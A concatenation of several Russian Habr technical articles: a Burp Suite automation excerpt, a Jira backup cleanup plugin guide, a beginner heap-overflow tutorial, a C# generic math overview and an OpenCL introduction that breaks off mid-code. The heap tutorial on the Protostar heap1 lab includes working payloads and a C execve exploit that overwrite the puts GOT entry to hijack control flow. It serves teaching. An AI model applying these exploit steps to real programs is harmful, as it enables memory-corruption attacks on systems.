* Burp Suite Professional
* slackclient
Этот инструмент позволит автоматизировать проверки, использую в качестве основы Burp Suite:
```
$ python burpa.py -h
###################################################
__
/ /_ __ ___________ ____ _
/ __ \/ / / / ___/ __ \/ __ `/
/ /_/ / /_/ / / / /_/ / /_/ /
/_.___/\__,_/_/ / .___/\__,_/
/_/
burpa version 0.1 / by 0x4D31
###################################################
usage: burpa.py [-h] [-a {scan,proxy-config}] [-pP PROXY_PORT] [-aP API_PORT]
[-rT {HTML,XML}] [-r {in-scope,all}]
[--include-scope [INCLUDE_SCOPE [INCLUDE_SCOPE ...]]]
[--exclude-scope [EXCLUDE_SCOPE [EXCLUDE_SCOPE ...]]]
proxy_url
positional arguments:
proxy_url Burp Proxy URL
optional arguments:
-h, --help show this help message and exit
-a {scan,proxy-config}, --action {scan,proxy-config}
-pP PROXY_PORT, --proxy-port PROXY_PORT
-aP API_PORT, --api-port API_PORT
-rT {HTML,XML}, --report-type {HTML,XML}
-r {in-scope,all}, --report {in-scope,all}
--include-scope [INCLUDE_SCOPE [INCLUDE_SCOPE ...]]
--exclude-scope [EXCLUDE_SCOPE [EXCLUDE_SCOPE ...]]
```
Как результат вы получите отчет о проведенном сканировании:
Заключение
----------
Я намеренно не рассматривал готовые сканеры типа w3af (или платные аналоги), позволяющие проводить такие работы, где использование сводится к существующему функционалу (и установки чекбоксов у опций), а постарался раскрыть интересные плагины и доработки для проксирующей утилиты Burp Suite — как наиболее популярного и эффективного инструмента.
Для того чтобы максимально эффективно применять инструменты автоматизированного тестирования необходимо иметь базис ручной проверки, для более точной настройки системы. | https://habr.com/ru/post/335140/ | null | ru | null |
# Как избавиться от ошибок с таблицами Active Object при восстановлении Jira из бэкапа
В этой статье поговорим о том, как избавиться от ошибок с таблицами Active Objects при восстановлении Jira из бэкапа и напишем плагин для удаления ненужных таблиц Active Objects из архивного файла бэкапа.
### Что такое таблицы Active Objects?
База данных Jira содержит два типа таблиц: системные таблицы, такие как jiraissue, cwd\_user, changegroup, и таблицы, добавленные установленными в Jira плагинами. Эти таблицы и есть таблицы Active Objects. Их легко отличить от системных таблиц по префиксу AO\_XXXXXX.
AO означает Active Objects, а XXXXXX это хэшкод, который генерирует Jira для каждого плагина. Хэшкод нужен для того, чтобы была возможность создавать в разных плагинах таблицы с одинаковыми именами. Так как после добавления префикса AO\_XXXXXX к таблицам с одинаковым наименованием, имена таблиц начинают различаться, и поэтому они могу быть созданы в базе данных.
Active Objects это ORM слой в продуктах Atlassian. Подробнее про него можно почитать [здесь](https://developer.atlassian.com/server/framework/atlassian-sdk/active-objects/?_ga=2.220961112.1931925630.1535351005-1659643416.1506407535).
В Jira можно посмотреть информацию о всех созданных таблицах каждым плагином, если перейти по Шестеренка -> System -> Plugin Data Storage. Например, на моем инстансе Jira информация по плагинам выглядит вот так:
На скриншоте видно, что плагин Atlassian Notifications создал три таблицы, у которых хэшкод 21F425
### AO errors
Теперь посмотрим, как эти ошибки выглядят в реальном времени. Вот пример ошибки «unsupported field encountered: binary»:
### Исправляем ошибку «unsupported field encountered: binary»
Давайте попробуем исправить эту ошибку. Для этого распакуем файл бэкапа. Внутри мы увидим два файла: entities.xml и activeobjects.xml.
Файл entities.xml содержит данные системных таблиц. Файл activeobjects.xml содержит данные таблиц Active Objects. Нам как раз и нужен файл activeobjects.xml.
Открываем файл activeobjects.xml file и ищем слово «binary» в файле. В моем случае найдено 10 совпадений. Эти совпадения выглядят вот так:
```
Alexey Matveev
alexey.matveev@aaa.com
1
Europe/Moscow
alexey
alexey
```
Удаляем все строки в файле activeobjects.xml file и пробуем снова восстановить Jira.
На этот раз ошибка «unsupported field encountered: binary» исправлена, но мы видим новую ошибку:
Давайте посмотрим содержимое файла atlassian-jira.log:
```
[INFO] [talledLocalContainer] com.atlassian.activeobjects.spi.ActiveObjectsImportExportException: There was an error during import/export with (table AO\_6B9F04\_AIO\_USER):Could not import data in table 'AO\_6B9F04\_AIO\_USER' column #10, value is too big for column which size limit is 10, value is:
[INFO] [talledLocalContainer] Europe/Moscow
```
Если поискать информацию об этой ошибке в интернете, то мы найдем вот такую [KB](https://confluence.atlassian.com/jirakb/there-was-an-error-during-import-export-with-unknown-plugin-could-not-import-data-311918690.html?_ga=2.211241116.808456038.1535639244-492126670.1535639244).
В этой KB предлагается изменить размерность поля №10 на -1. Давайте попробуем.
```
```
Поменяем:
```
```
на
```
```
и попробуем восстановить Jira из нашего бэкапа.
В логе мы видим опять те же самые ошибки. KB не помогло.
### uknown plugin
Давайте еще раз внимательно почитаем ошибку. Мы увидим, что данные из UKNOWN PLUGIN плагина не могут быть импортированы. Почему из неизвестного плагина (UKNOWN PLUIGN)?
Если посмотреть на скриншот ниже, то можно заметить, что у некоторых объектов Active Objects нет имен плагинов, к которым они относятся:
Можно увидеть, что в красном прямоугольнике есть имя плагина, а в синем прямоугольнике плагина нет. Такое может случиться, если мы установили плагин, затем его удалили и перезапустили Jira с удалением папки .osgi\_plugins. Такой вид перезапуска Jira рекомендуется, если есть какие-то проблемы с работой плагинов.
У нашей таблицы AIO\_USER нет имени плагина, поэтому мы можем просто удалить таблицу.
Давайте найдем определение этой таблицы в файле activeobjects.xml, удалим найденное определение и попробуем восстановить Jira из бэкапа.
Мы увидим уже другую ошибку:
```
[INFO] [talledLocalContainer] com.atlassian.activeobjects.spi.ActiveObjectsImportExportException: There was an error during import/export with (table AO\_6B9F04\_AIO\_USER):Could not create prepared statement for SQL query, [INSERT INTO PUBLIC."AO\_6B9F04\_AIO\_USER" ("DISPLAY\_NAME", "EMAIL\_ADDRESS", "ID", "LAST\_LOGIN\_DATE", "LOCALE", "LOGIN\_DAYS\_COUNT", "O\_AUTH\_TOKEN", "O\_AUTH\_TOKEN\_SECRET", "TABLEAU\_KEY", "TENANT\_ID", "TIME\_ZONE", "USERKEY", "USERNAME") VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)]
```
Проблема в том, что мы удалили определение таблицы, но не удалили данные этой таблицы. Давайте найдем данные этой таблицы в файле activeobjects.xml и удалим их.
Данные по таблице начинаются вот таким тэгом:
И заканчиваются вот таким тэгом:
Давайте удалим эти тэги и все, что между этими тэгами, и попробуем еще раз восстановить Jira из бэкапа.
Мы получим другую ошибку:
```
There was a problem restoring ActiveObjects data for the plugin. Caught exception with following message: Table "AO\_6B9F04\_AIO\_USER" not found; SQL statement: ALTER TABLE PUBLIC.AO\_6B9F04\_AIO\_REPORT ADD CONSTRAINT fk\_ao\_6b9f04\_aio\_report\_owner\_id FOREIGN KEY (OWNER\_ID) REFERENCES PUBLIC.AO\_6B9F04\_AIO\_USER(ID) [42102-185]. Please check the log for details.
```
Это означает, что есть еще таблицы в плагине, которые ссылаются на эту таблицы, поэтому нам еще нужно удалить все таблицы, которые ссылаются на удаленную таблицу. Дальше все может пойти по цепочке: может потребоваться еще удалить таблицы этого плагина, которые ссылаются на удаленные таблицы.
Поэтому гораздо быстрее будет удалить все таблицы с префиксом AO\_6B9F04 из файла бэкапа программно.
Давайте напишем плагин, которые будет удалять таблицы из файла бэкапа по заданному префиксу. Плагин будет состоять из webwork, который будет получать имя файла бэкапа (файл бэкапа должен находиться в JIRA\_HOME/import) и префикс.
Исходный код плагина можно взять [здесь](https://bitbucket.org/alex1mmm/clean-backup/src/master/?_ga=2.240158602.808456038.1535639244-492126670.1535639244).
### Создаем плагин
Открываем терминал и выполняем следующую команду:
```
atlas-create-jira-plugin
```
Необходимо ответить на вопросы вот так:
```
Define value for groupId: : ru.matveev.alexey.plugins.jira.cleanbackup
Define value for artifactId: : clean-backup
Define value for version: 1.0.0-SNAPSHOT: :
Define value for package: ru.matveev.alexey.plugins.jira.cleanbackup: :
Confirm properties configuration:
groupId: ru.matveev.alexey.plugins.jira.cleanbackup
artifactId: clean-backup
version: 1.0.0-SNAPSHOT
package: ru.matveev.alexey.plugins.jira.cleanbackup
Y: : Y
```
### Редактируем POM.XML
Файл pom.xml должен выглядеть вот так:
[bitbucket.org/alex1mmm/clean-backup/src/master/pom.xml](https://bitbucket.org/alex1mmm/clean-backup/src/master/pom.xml)
### Создаем WEBWORK, WEB SECTION и WEB ITEM
Открываем терминал и выполняем:
```
atlas-create-jira-plugin-module
```
Ответить на вопросы нужно вот так:
```
Choose a number (1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/21/22/23/24/25/26/27/28/29/30/31/32/33/34): 31
Enter Plugin Module Name My Webwork Module: : cleanbackup
Show Advanced Setup? (Y/y/N/n) N: : y
Module Key cleanbackup: :
Module Description The cleanbackup Plugin: :
i18n Name Key cleanbackup.name: :
i18n Description Key cleanbackup.description: :
Enter Action Classname MyActionClass: : CleanBackup
Enter Package Name ru.matveev.alexey.plugins.jira.cleanbackup.jira.webwork: :
Enter Alias CleanBackup: : CleanBackup
Enter View Name success: : success
Enter Template Path /templates/cleanbackup/cleanbackup/success.vm: :
Add Another View? (Y/y/N/n) N: : N
Add Another Action? (Y/y/N/n) N: : N
Add Another Plugin Module? (Y/y/N/n) N: : Y
Choose a number (1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/21/22/23/24/25/26/27/28/29/30/31/32/33/34): 30
Enter Plugin Module Name My Web Section: : CleanBackup
Enter Location (e.g. system.admin/mynewsection): admin_plugins_menu
Show Advanced Setup? (Y/y/N/n) N: : n
Add Another Plugin Module? (Y/y/N/n) N: : Y
Choose a number (1/2/3/4/5/6/7/8/9/10/11/12/13/14/15/16/17/18/19/20/21/22/23/24/25/26/27/28/29/30/31/32/33/34): 25
Enter Plugin Module Name My Web Item: : CleanAO
Enter Section (e.g. system.admin/globalsettings): admin_plugins_menu/clean-backup
Enter Link URL (e.g. /secure/CreateIssue!default.jspa): /secure/CleanBackup.jspa?
Show Advanced Setup? (Y/y/N/n) N: : Y
Module Key clean-ao: :
Module Description The CleanAO Plugin: :
i18n Name Key clean-ao.name: :
i18n Description Key clean-ao.description: :
Weight 1000: :
Link Id clean-ao-link: :
Enter Label Key clean-ao.label: : CleanBackup
Enter Label Value CleanAO: : CleanAO
Add Label Param? (Y/y/N/n) N: : n
Add Icon? (Y/y/N/n) N: : n
Add Tooltip? (Y/y/N/n) N: : n
Add Resource (Y/y/N/n) N: : n
Add Velocity Context Provider (Y/y/N/n) N: : n
Add Plugin Module Param? (Y/y/N/n) N: : n
Add Conditions? (Y/y/N/n) N: : n
Add Another Plugin Module? (Y/y/N/n) N: : n
```
### Редактируем WEBWORK и SUCCESS.VM
Изменим наш success.vm так, чтобы наш webwork мог бы принимать два параметра: имя бэкапа и префикс:
[clean-backup/src/main/resources/templates/cleanbackup/cleanbackup/success.vm](https://bitbucket.org/alex1mmm/clean-backup/src/master/src/main/resources/templates/cleanbackup/cleanbackup/success.vm?_ga=2.142567227.808456038.1535639244-492126670.1535639244&fileviewer=file-view-default).
Мы будем использовать SAX для работы с xml файлами, поэтому напишем фильтр для удаления таблиц:
[clean-backup/src/main/java/ru/matveev/alexey/plugins/jira/cleanbackup/jira/webwork/TableFilter.java](https://bitbucket.org/alex1mmm/clean-backup/src/master/src/main/java/ru/matveev/alexey/plugins/jira/cleanbackup/jira/webwork/TableFilter.java?_ga=2.177760428.808456038.1535639244-492126670.1535639244&fileviewer=file-view-default).
Теперь внесем изменения в webwork.
[clean-backup/src/main/java/ru/matveev/alexey/plugins/jira/cleanbackup/jira/webwork/CleanBackup.java](https://bitbucket.org/alex1mmm/clean-backup/src/master/src/main/java/ru/matveev/alexey/plugins/jira/cleanbackup/jira/webwork/CleanBackup.java?_ga=2.173442090.808456038.1535639244-492126670.1535639244&fileviewer=file-view-default)
### Собираем и запускаем наш плагин
Идем в папку плагина и выполняем:
```
atlas-run
```
После того, как Jira запустилась, положим наш файл бэкапа в JIRA\_HOME/import и перейдем в браузере по следующему адресу:
[localhost](http://localhost):2990/jira/secure/CleanBackup.jspa
Вводим имя бэкапа, префикса и нажимаем на кнопку Clean:
Таблицы, с префиксом, который мы ввели, будут удалены из бэкапа и после этого можно восстанавливать Jira. | https://habr.com/ru/post/421699/ | null | ru | null |
# Переполнение кучи в Linux для начинающих
Данный туториал для начинающих, но подразумевается, что читатель уже знаком с основами работы функции [**malloc**](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)библиотеки glibc. Подробно рассмотрим как эксплуатировать переполнение кучи в *Linux*на примере 32-разрядного *Raspberry PI/ARM1176*. Так же разберем некоторые нюансы эксплуатации и в *x86-x64* системах. Для этого будем использовать инструменты [GDB](https://www.gnu.org/software/gdb/) + [GEF](https://github.com/hugsy/gef).
Переходим сразу к уязвимому коду, который я позаимствовал из лабораторных заданий *Protostar*, а именно [данное задание](https://exploit.education/protostar/heap-one/).
```
#include
#include
#include
#include
#include
struct internet {
int priority;
char \*name;
};
void winner()
{
printf("and we have a winner @ %d\n", time(NULL));
}
int main(int argc, char \*\*argv)
{
struct internet \*i1, \*i2, \*i3;
i1 = malloc(sizeof(struct internet));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct internet));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
```
Вкратце о коде.
* Создаются структуры `i1, i2, i3`.
* При запуске программы передаются два аргумента, которые копируются по адресам указателей`i1->name` и `i2->name`соответственно.
* И в конце выводится сообщение *"and that's a wrap folks!"*.
### Задача
Вызвать функцию `winner`.
### Решение
Для начала компилируем код:
```
gcc -o heap1 heap1.c
```
* Для вызова функции `winner`, нужно взять ее адрес и записать в указатель, в котором находится адрес функции `printf`.
* Для этого надо переполнить указатель `i1->name` и перезаписать адрес `i2->name`адресом функции `winner`.
* Что бы его переполнить, необходимо вычислить длину смещения от `i1->name` до `i2->name.`
Выглядит запутанным, но обо всем по порядку.
Вычисляем длину.
#### Способ 1
Эту длину можно подобрать экспериментальным путем. Загружаем нашу программу в GDB
```
gdb -q heap1
```
Смотрим код
```
disas main
```
И ставим брейк поинт в конце кода
```
b *0x000105сс
```
И запускаем с параметрами
```
r AAAA BBBB
```
Смотрим адрес начала кучи:
```
info proc map
```
И по этому адресу смотрим содержимое памяти
```
x/120x 0x22000
```
Желтым выделены адреса чанков (chunk). Зеленым выделено количество байтов от одного чанка до другого.
#### Способ 2
Давайте взглянем на выделенную память в куче.
```
heap chunks
```
Здесь мы можем наблюдать чанк по адресу `0x22160`, рассмотрим его поближе
```
heap chunk 0x22160
```
* 16 байт служебные
* 12 байт пользовательские данные
* 4 байта адрес этого чанка
Итого получается 32 байта весь кусок кучи. Из него вычитаем 12 байт данных и получаем 20 байт, это и будет наша длинна до следующего чанка. (Для 64 битной системы эти расчеты следовательно будут с удвоенными слагаемыми 32 + 24 + 8 = 64 байта, длинна будет 40 байт)
#### Подменяем адреса функций
Теперь запустим с входным параметром 24 байта (20 байт до адреса следующего чанка и 4 байта для замещения этого адреса):
```
./heap1 $(python3 -c 'print("A"*24+" "+"BBBB")')
```
Получаем *Segmentation fault*. Теперь через отладчик посмотрим изнутри, что происходит.
```
gdb ./heap1
disas main
```
Поставим точку останова на второй вызов функции `strcopy`, который находится по адресу `0x000105e8`
```
b *0x105e8
```
И запустим программу
```
r $(python3 -c 'print("A"*24+" "+"BBBB")')
```
Переходим к точке останова и наблюдаем, как перезаписывается адрес указателя нашими символами:
Для вызова функции `winner`, нужно взять ее адрес и записать в указатель, в котором находится адрес функции `printf`(по факту там находится функция `puts`).
```
x/i 0x103a0
```
Теперь нужно узнать по какому адресу функция `puts`располагается в [GOT](https://en.wikipedia.org/wiki/Global_Offset_Table). Что бы это узнать воспользуемся *GEF*командой `got`. Эта команда выводит текущее состояние таблицы GOT запущенного процесса.
```
got
```
И так, мы видим, что наш указатель находится по адресу `0x21018`. Будем писать в него адрес нашей функции `winner`.
Теперь посмотрим по какому адресу располагается функция `winner`.
```
p winner
```
Функция расположена по адресу `0x10504`.
Пришло время составить наш эксплоит и запустить его из под отладчика. Посмотрим изнутри как перезаписывается адрес в указателе `i2->name` и заносится в него адрес нашей функции:
```
r $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
```
Здесь мы видим, что по адресу`0x21018` будет записан адрес функции `0x10504` , что и следовало ожидать. Продолжим выполнение командой `nexti`и проверим, что находится по адресу `0x21018`:
А в нем находится адрес нашей функции `0x10504` . Теперь выходим из отладчика и запускаем программу обычным способом с нашим эксплоитом:
```
./heap1 $(python3 -c 'print("A"*20+"\x18\x10\x02\x00"+" "+"\x04\x05\x01\x00")')
```
Видим, что *bash*вывел предупреждение, о том, что нуль-байты в наших адресах были проигнорированы (*ignored null byte in input*), но приложение выдает нам заветное сообщение, тем самым подтверждая, что мы вызвали функцию `winner`. Эксплуатация произошла и задача решена.
#### Некоторые нюансы
Теперь перейдем в *Linux*для архитектуры *x86-x64.* В нем установлена последняя версия *GDB 10.1.90* на момент написания этого поста и отлична от *ARM1176*, для Raspberry версия *GDB 8.2.1*. Например, что бы узнать адрес функции `puts`, сначала так же смотрим адрес указателя *.plt*
```
disas main
```
а затем можно сразу увидеть адрес функции указателя в закомментированном виде такой командой:
```
x/i 0x555555555040
```
это избавляет от дополнительных телодвижений. Мелочь, а приятно.
Далее смотрим адрес функции `winner`
```
p winner
```
Смотрим адрес функции `puts 0x555555558020`и обнаруживаем, что в нем содержится число *x20*, которое соответствует символу пробела, а это значит, что при передаче этого адреса программе через командную оболочку, например *bash*воспримет это как разделитель аргументов. Поэтому эксплуатация через шелл не получится. Как вариант, можно заключить аргументы в кавычки `"$(...)"`, например так:
```
./heap1 "$(python -c 'print("A"*40+"\x20\x80\x55\x55\x55\x55"+" "+"\x75\x51\x55\x55\x55\x55")')"
```
В общем случае это сработало бы. Но в нашем случае это не помогло, так как оказалось, что наши полученные адреса нужно выравнивать до 8 байт нуль-байтами, т.е.
\x20\x80\x55\x55\x55\x55**\x00\x00**
\x75\x51\x55\x55\x55\x55**\x00\x00**
Но и тут возникает проблема, потому что командная оболочка воспринимает нуль-байты как конец строки и эксплойт не сработает, т.к. адреса получаются неверными.
Для решения этой проблемы, можно воспользоваться функцией [**execve**](https://man7.org/linux/man-pages/man2/execve.2.html)языка C.
Пишем эксплоит:
```
#include
#include
int main(void)
{
char\* const argv[] = {"", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x20\x80\x55\x55\x55\x55\x00\x00", "\x75\x51\x55\x55\x55\x55\x00\x00", 0 };
if (execve("./heap1", argv, NULL) == -1)
perror("Could not execve");
return 1;
}
```
В коде думаю все ясно.
Компилируем и запускаем
```
gcc ./exploit.c -o exploit
gdb -q ./exploit
```
Теперь эксплоит отрабатывает как следует:
На этом все. Спасибо за внимание. | https://habr.com/ru/post/547712/ | null | ru | null |
# Generic Math: суперфича C#, доступная в .NET 6 Preview 7
10 августа 2021 года Microsoft в [блоге](https://devblogs.microsoft.com/dotnet/announcing-net-6-preview-7/) опубликовала информацию о свежевыпущенном .NET 6 Preview 7.
Помимо добавления очередной порции синтаксического сахара, расширения функционала библиотек, улучшения поддержки UTF-8 и т.д., в данное обновление была включена демонстрация суперфичи — абстрактные статические методы интерфейсов и реализованная на её основе возможность использования арифметических операторов в дженериках:
```
T Add(T lhs, T rhs)
where T : INumber
{
return lhs + rhs;
}
```
Введение
--------
До настоящего времени в C# не было возможности абстрагироваться от статических методов и писать обобщённый код. Особенно проблематично это для методов, которые существуют только в виде статических методов, например, для операторов.
Например, в LINQ to objects функции `.Max`, `.Sum`, `.Average` и т.д. реализованы отдельно для каждого из простых типов, а для пользовательских типов предлагается передавать делегат. Это и неудобно, и неэффективно: при многократном дублировании кода есть возможность ошибиться, а вызов делегата не даётся бесплатно (впрочем, уже идут обсуждения о реализации zero-cost делегатов в JIT-компиляторе).
Нововведение добавляет возможность писать обобщённый код относительно, например, числовых типов, на которые наложены ограничения в виде интерфейсов с нужными операторами. Таким образом, алгоритмы могут выражены в следующем виде:
```
// Interface specifies static properties and operators
interface IAddable where T : IAddable
{
static abstract T Zero { get; }
static abstract T operator +(T t1, T t2);
}
// Classes and structs (including built-ins) can implement interface
struct Int32 : …, IAddable
{
static Int32 I.operator +(Int32 x, Int32 y) => x + y; // Explicit
public static int Zero => 0; // Implicit
}
// Generic algorithms can use static members on T
public static T AddAll(T[] ts) where T : IAddable
{
T result = T.Zero; // Call static operator
foreach (T t in ts) { result += t; } // Use `+`
return result;
}
// Generic method can be applied to built-in and user-defined types
int sixtyThree = AddAll(new [] { 1, 2, 4, 8, 16, 32 });
```
Реализация
----------
### Синтаксис
Статические члены, которые являются частью контракта интерфейса, объявляются с использованием ключевых слов `static` и `abstract`.
Хотя слово `static` было бы идеально для описания подобных методов, в одном из недавних обновлений была добавлена возможность объявлять вспомогательные статические методы в интерфейсах. Поэтому, чтобы отличать вспомогательные методы от статических членов контракта, было решено использовать модификатор `abstract`.
В принципе, членами контракта могут быть не только операторы, а любые статические методы, свойства, события. Реализация статических членов интефейса в классе осуществляется естественным образом.
Вызвать статические методы интерфейса можно только через обобщённый тип и только если на тип наложено соответствующее ограничение:
```
public static T AddAll(T[] ts) where T : IAddable
{
T result = T.Zero; // Correct
T result2 = IAddable.Zero; // Incorrect
}
```
Также стоит понимать, что статические методы не были виртуальным и никогда ими не будут:
```
interface IStatic
{
static abstract int StaticValue { get; }
int Value { get; }
}
class Impl1 : IStatic
{
public static int StaticValue => 1;
public int Value => 1;
}
class Impl2 : Impl1, IStatic
{
public static int StaticValue => 2;
public int Value => 2;
}
static void Print(T obj)
where T : IStatic
{
Console.WriteLine("{0}, {1}", T.StaticValue, obj.Value);
}
static void Test()
{
Impl1 obj1 = new Impl1();
Impl2 obj2 = new Impl2();
Impl1 obj3 = obj2;
Print(obj1); // 1, 1
Print(obj2); // 2, 2
Print(obj3); // 1, 2
}
```
Вызов статического метода интерфейса определяется на этапе компиляции (на самом деле, JIT-компиляции, а не сборки C# кода). Таким образом, можно утверждать: ура, в C# завезли статический полиморфизм!
### Под капотом
Посмотрим на сгенерированный IL-код для простейшей функции, суммирующей два числа:
```
.method private hidebysig static !!0/*T*/
Sum<(class [System.Runtime]System.INumber`1) T>(
!!0/*T*/ lhs,
!!0/*T*/ rhs
) cil managed
{
.maxstack 8
// [4903 17 - 4903 34]
IL_0000: ldarg.0 // lhs
IL_0001: ldarg.1 // rhs
IL_0002: constrained. !!0/*T*/
IL_0008: call !2/*T*/ class [System.Runtime]System.IAdditionOperators`3::op_Addition(!0/*T*/, !1/*T*/)
IL_000d: ret
} // end of method GenericMathTest::Sum
```
Ничего примечательного: просто невиртуальный вызов статического метода интерфейса для типа T (для виртуальных вызовов используется callvirt). Оно и понятно: как можно сделать виртуальный вызов без объекта?
Поначалу у меня была мысль, что это сахар, сделанный через какие-нибудь магические объекты, создаваемые в единственном экземпляре для каждой пары тип-интерфейс, но нет: это честная реализация новой фичи на уровне JIT-компилятора: для простых типов компилятор генерирует инструкцию соответствующей операции, для остальных типов — вызывает соответствующий метод. Из этого можно сделать вывод, что код, использующий новые возможности, не сможет работать на более старых рантаймах.
Также стоить ожидать, что JIT-компилятор будет компилировать метод для каждой комбинации обобщённых типов, для которых вызываются статические методы интерфейсов. То есть производительность обобщённых методов, вызывающих статические методы интерфейсов, не должна отличаться от производительности частных реализаций.
Статус
------
Несмотря на то, что есть возможность пощупать эту возможность уже сейчас, она запланирована к релизу только в .NET 7, а после релиза .NET 6 останется в состоянии preview. Сейчас эта фича находится в состоянии [активной разработки](https://github.com/dotnet/csharplang/blob/main/proposals/static-abstracts-in-interfaces.md), детали её реализации могут измениться, поэтому просто брать и использовать её пока нельзя.
Попробовать на практике
-----------------------
Чтобы поиграться с новой возможностью, нужно добавить свойство `EnablePreviewFeatures=true` в файл проекта и подключить NuGet пакет `System.Runtime.Experimental`:
```
true
preview
Exe
net6.0
```
Само собой, должен быть установлен .NET 6 Preview 7 SDK и в качестве целевой платформы указано `net6.0`.
Мои впечатления
---------------
Попробовал — очень понравилось. То, что я давно ждал, потому что раньше проблему приходилось решать через костыли, например, так:
```
interface IOperationProvider
{
T Sum(T lhs, T rhs)
}
void SomeProcessing(...)
where TOperation : struct, IOperationProvider
{
T var1 = ...;
T var2 = ...;
T sum = default(TOperation).Sum(var1, var2); // This is zero cost!
}
```
Альтарнатива такому костылю: реализация типом T интерфейса `IOperation` и вызов `var1.Sum(var2)`. Но в данном случае теряется производительность из-за виртуальных вызовов, да и банально не во все классы можно залезть и добавить интерфейс.
Ещё один положительный момент — производительность. Я немного позапускал бенчмарки: скорость работы обычного кода и кода с generic арифметикой оказалась одинаковой. То есть мои ранее описанные предположения относительно JIT-компиляции кода оказались верны.
А что вот немного расстроило, так это то, что с типами-перечислениями эта фича не работает. Сравнивать их придётся по-прежнему через `EqualityComparer.Default.Equals`.
Также не понравилось, что приходится использовать слово-костыль `abstract`. Похоже, сложность C# достигла уже того уровня, что добавление новых фишек без ущерба для старого функционала становится затруднительным, и фактически приходим к тому, что сейчас происходит с C++. | https://habr.com/ru/post/572902/ | null | ru | null |
# OpenCL. Как начать
### Тяжелый старт
Всем привет! Какое-то время назад я начал копать тему с OpenCL под C#. Но наткнулся на трудности, связанные с тем, что не то, что под C#, а вообще по этой теме очень мало материала. Какую-то вводную по OpenCL можно почерпнуть [здесь](http://habrahabr.ru/post/72650/). Так же простой, но работающей старт OpenCL описан вот [тут](http://habrahabr.ru/post/124873/). Ни на йоту не хочу обидеть авторов, но все статьи, что я находил на русском (и на хабре в том числе) страдают одной и той же проблемой — **очень мало примеров**. [Документация](https://www.khronos.org/registry/cl/sdk/1.1/docs/man/xhtml/) есть, её много и как принято для хорошей документации читается сложно. В своей статье (а если всё будет нормально, то и в цикле статей), я постараюсь поподробней описать эту область, с точки зрения человека, который начал её копать с нуля. Думаю такой подход будет полезен тем кто хочет быстро стартовать в высоко производительных вычислениях.
Первоначально я хотел написать статью-минисамоучитель OpenCL, которая содержала в себе информацию, о там что это, как устроено, как писать код и какие-то рекомендации, основанные на моем опыте. Но в процессе понял, что если даже быть кратким, то уткнусь в ограничения объема статьи. Потому что, имхо, статья должна быть такого объема, чтобы усвоить её объем было не сложно. По этому в данной статье (которая станет первой) я планирую описать, то как стартовать в OpenCL, проверить что локально все корректно законфигурино, и написать простейшую программу. Вопросы с устройством памяти, архитектурой и прочим будут описаны в следующих статьях.
Друзья, сразу хотел бы сказать, что мой опыт в OpenCL пока, к сожалению, далек от гуру/йода уровня, но на вопросы постараюсь отвечать изо всех сил. А если что-то не знаю, то буду делиться ресурсами и видением того как это на самом деле должно работать.
### Что. Где. Как.
OpenCL это технология связанная с параллельными компьютерными вычислениями на различных типах графических и центральных процессоров. Тема с параллельным вычислениями на GPU совсем недавно широко продвигалась вместе с технологией CUDA. Данное продвижение в основном обеспечивалось усилиями компании Nvidia. Отличия OpenGL и CUDA [уже широко обсуждались](http://habrahabr.ru/post/72247/).
OpenСL позволяет работать как с CPU так и с GPU, но думаю нам более интересно будет сосредоточиться на работе с GPU. Для использования данной технологии понадобиться мало мальски современная видеокарта. Главное это проверить, что устройство функционирует нормально. На всякий случай напоминаю что это можно сделать в диспетчере устройств.
Если в данном окне вы видите какие-то фейлы или ворнинги, то вам прямая дорога на сайт производителя вашей видеокарты. Свежие драйвера должны решить проблему с функционированием железа и как следствие дать доступ к мощностям OpenCL.
Первоначально я планировал использовать OpenCL по C#. Но наткнулся на проблему, что все существующие фреймворки типа Cloo или OpenCLNet являются самописными и Khronos не имеет к ним никакого отношения и следовательно не гарантирует их стабильную работу. Ну и все мы помним главную проблему — **очень мало примеров**. Исходя из этого вначале я бы хотел представить примеры написанные на C++, а уже потом, получив подтверждение того что OpenCL ведет себя так как мы ожидаем, привинтить прокси в виде C# фреймворка.
Итак, чтобы использовать OpenCL через С++ необходимо найти его API. Для этого открывайте переменные среды, и ищете там переменную со страшным названием, намекающую своим названием на производителя вашей видеокарты. У меня данная переменная называется *«AMDAPPSDKROOT»*. После этого можете посмотреть что лежит по указанному пути. Там ищите папочку *include\CL*.
Кстати, обычно в папочки include, рядом с папкой CL лежит и папка GL, предоставляющая доступ к знаменитой графической библиотеки.
Теперь создаем проект в Visual Studio, подключаем в свойствах проекта папку include (в моем случае $(AMDAPPSDKROOT)\include\) и в бой!
### Инфраструктура
Мы должны помнить, что мы будем работать с OpenCL **не через API**, **а при помощи API**. Вроде бы кажется, что эти две фразы практически идентичны, но это не так. К примеру, вспомните OpenGL. Как происходит там работа (урощённый вариант) — вначале мы настраиваем какие-то общие параметры, а потом прямо из кода вызываем методы типа «нарисовать сферу», «изменить параметры источника света» и т.д.
Так вот в OpenCL сценарий другой:
1. При помощи API получаем доступ к устройствам, которые поддерживают OpenCL. Это часть приложения обычно называется **хостом**;
2. Пишем код который будет выполняться на устройстве. Этот код называется **kernel**. Данный код о хосте вообще ничего не знает. Его может дернуть любой хост
3. При помощи API прогружаем код kernel и запускаем его выполнение на выбранном устройстве.
Как видите наше приложение будет иметь комплексную инфраструктуру. Давайте займемся ее настройкой!
Так как на предыдущем шаге мы предусмотрительно подсоединили папочку include, то теперь вы можем просто добавить ссылку на заголовочный файл *cl.h*, который даст доступ к API. При добавление cl.h, стоит добавить проверку выбора платформы:
```
#ifdef __APPLE__
#include
#else
#include
#endif
```
Теперь необходимо выбрать устройство на котором будет отрабатывать наш код и создать контекст в котором будут жить наши переменные. Как это сделать показано ниже:
```
/* получить доступные платформы */
ret = clGetPlatformIDs(1, &platform_id, &ret_num_platforms);
/* получить доступные устройства */
ret = clGetDeviceIDs(platform_id, CL_DEVICE_TYPE_DEFAULT, 1, &device_id, &ret_num_devices);
/* создать контекст */
